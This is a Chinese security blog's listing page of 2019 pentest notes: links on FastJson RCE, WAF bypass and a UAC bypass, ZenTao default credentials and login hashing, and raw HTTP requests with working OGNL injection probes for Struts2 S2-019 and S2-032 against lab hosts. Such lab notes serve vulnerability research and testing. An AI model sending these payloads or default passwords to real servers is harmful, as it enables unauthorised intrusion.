September 19, 2019
FastJson 1.2.60远程代码执行漏洞(From第三方jar包) <!–more–> 正文 [漏洞复现]FastJson 1.2.60远程代码执行漏洞(From第三方jar包) https://qiita.com/shimizukawasaki/items/c61ad93d80e2998ec0d5 抽象语法树分析寻找FastJSON的Gadgets https://www.freebuf.com/articles/web/213327.html Jackson https://github.com/FasterXML/jackson-databind/issues/2460
September 19, 2019
自动化 SQLi 的 WAF 绕过 <!–more–> 正文 自动化 SQLi 的 WAF 绕过 https://github.com/RandomSiYuan/Fake_Sqli_Bypass
September 19, 2019
Windows UAC bypass <!–more–> 正文 User Account Control & odbcad32.exe https://secureyourit.co.uk/wp/2019/09/18/user-account-control-odbcad32-exe/
September 19, 2019
fuxploider 上传表单自动化黑盒测试工具 <!–more–> 正文 Fuxploider是一个开源渗透测试工具，可以自动检测和利用文件上传表单缺陷。 此工具能够检测允许上载的文件类型，并能够检测哪种技术最适合在所需的Web服务器上上载Web shell或任何恶意文件。 https://github.com/almandin/fuxploider
September 16, 2019
Fofa 高级搜索语法、SDK/API使用 与 PoC 编写教程 <!–more–> 正文 录播视频已上传至百度网盘 链接：https://pan.baidu.com/s/1MquLQh5Ge_MjDQo9cRHrbA 提取码：rna4
September 16, 2019
禅道 弱口令分析 <!–more–> 正文 默认配置 http://192.168.198.133/zentao/admin-safe.html 默认配置的禅道会要求管理员登陆后修改弱口令。 密码密文的计算方式 hashTable.md5(hashTable.md5(this.plaintext)+this.salt) $(‘#loginPanel #submit’).click(function() { var password = $(‘input:password’).val().trim(); var passwordStrength = computePasswordStrength(password); $(‘#submit’).after("<input type=’hidden’ name=’passwordStrength’ value=’" + passwordStrength + "’>"); var rand = $(‘input#verifyRand’).val(); if(password.length != 32 && typeof(md5) == ‘function’) $(‘input:password’).val(md5(md5(password) + rand)); }); 登陆成功 请求 POST /zentao/user-login.html HTTP/1.1 Host: 192.168.198.133 User-Agent: Mozilla/5.0 (Windows NT 10.0; […]
September 16, 2019
使用 Docker 搭建禅道社区版 <!–more–> 正文 https://hub.docker.com/r/idoop/zentao/tags sudo docker pull idoop/zentao:10.0 sudo mkdir -p /data/zbox && \ sudo docker run -d -p 80:80 -p 33306:3306 \ -e ADMINER_USER="root" -e ADMINER_PASSWD="password" \ -e BIND_ADDRESS="false" \ -v /data/zbox/:/opt/zbox/ \ –add-host smtp.exmail.qq.com:163.177.90.125 \ –name zentao-server \ idoop/zentao:10.0 禅道后台默认密码 admin/123456 。 参考资料 某道全版本rce漏洞分析 https://xz.aliyun.com/t/6239
September 12, 2019
Struts2 S2-019 HTTP raw text <!–more–> 检测请求 POST /example/HelloWorld.action HTTP/1.1 Host:192.168.198.133:80 Accept-Language: zh_CN User-Agent: Auto Spider 1.0 Accept-Encoding: gzip, deflate Connection: close Content-Length: 492 Content-Type: application/x-www-form-urlencoded debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22struts2_security_%22),%23resp.getWriter().print(%22check%22),%23resp.getWriter().flush(),%23resp.getWriter().close()HTTP/1.1 200 Set-Cookie: JSESSIONID=339037A73494B91A16B5EC3974F956EC; Path=/; HttpOnly Content-Type: text/plain;charset=ISO-8859-1 Transfer-Encoding: chunked Date: Thu, 12 Sep 2019 07:42:15 GMT Connection: close 16 struts2_security_check 0 利用请求 POST /example/HelloWorld.action HTTP/1.1 Host:192.168.198.133:80 Accept-Language: zh_CN […]
September 12, 2019
Struts2 S2-020 环境 <!–more–> 正文 https://hub.docker.com/r/tutum/tomcat 已经设置好 host manager 的 tomcat 环境 tomcat
September 12, 2019
Struts S2-032 HTTP raw text <!–more–> 正文 分析 [](http://wp.blkstone.me/wp-content/uploads/2019/09/s2_032_20190912.png "s2-032") 探测请求 POST / HTTP/1.1 Cookie: SessionId=96F3F15432E0660E0654B1CE240C4C36 User-Agent: Java/1.8.0_212 Host: 192.168.198.133:8888 Accept: text/html, image/gif, image/jpeg, *; q=.2, /; q=.2 Connection: keep-alive Content-type: application/x-www-form-urlencoded Content-Length: 209 method%3a%23_memberAccess%3d@ognl.OgnlContext+@DEFAULT_MEMBER_ACCESS%2c%23kxlzx%3d+@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2c%23kxlzx.println%2888888888-1%29%2c%23kxlzx.close HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 9 Date: Thu, 12 Sep 2019 04:07:32 GMT 88888887 OGNL method:#_memberAccess=@ognl.OgnlContext+@DEFAULT_MEMBER_ACCESS,#kxlzx=+@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kxlzx.println(88888888-1),#kxlzx.close 利用请求 POST […]